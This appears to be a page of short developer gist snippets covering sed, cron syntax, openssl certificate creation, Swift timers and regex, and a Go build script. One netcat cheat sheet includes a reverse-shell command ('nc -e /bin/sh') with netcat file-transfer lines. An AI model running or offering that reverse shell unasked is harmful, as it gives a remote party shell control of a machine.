This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| sed -i -e 's/[ \t]*//' yourfile |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| * * * * * command | |
| * - minute (0-59) | |
| * - hour (0-23) | |
| * - day of the month (1-31) | |
| * - month (1-12) | |
| * - day of the week (0-6, 0 is Sunday) | |
| command - command to execute | |
| (from left-to-right) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| arch -x86_64 pod update |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # Netcat simple listen | |
| netcat -lvp [port] | |
| # Netcat reverse shell | |
| nc -e /bin/sh [destination] [port] | |
| # Nectat file transfer | |
| nc -l -p 1234 > out.file | |
| nc -w 3 [destination] [port] < out.file |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // countdown 10 seconds | |
| let deadlineTime = DispatchTime.now() + .seconds(15) | |
| DispatchQueue.main.asyncAfter(deadline: deadlineTime) { | |
| } | |
| let deadTimeSegue = DispatchTime.now() + .seconds(60) | |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| openssl genrsa -out key.pem | |
| openssl req -new -key key.pem -out csr.pem | |
| openssl x509 -req -days 9999 -in csr.pem -signkey key.pem -out cert.pem | |
| rm csr.pem |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| connector = url.URL( | |
| { | |
| protocol: null, | |
| host: null , | |
| user: null, | |
| password: null, | |
| port: null, | |
| pathname: null, |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #Before we can use the script, we have to make it executable with the chmod command: | |
| #chmod +x ./go-executable-build.sh | |
| #then we can use it ./go-executable-build.sh yourpackage | |
| #!/usr/bin/env bash | |
| package=$1 | |
| if [[ -z "$package" ]]; then | |
| echo "usage: $0 <package-name>" | |
| exit 1 | |
| fi |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| sudo killall -STOP -c usbd |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import Foundation | |
| struct Regex { | |
| var pattern: String { | |
| didSet { | |
| updateRegex() | |
| } | |
| } | |
| var expressionOptions: NSRegularExpressionOptions { | |
| didSet { |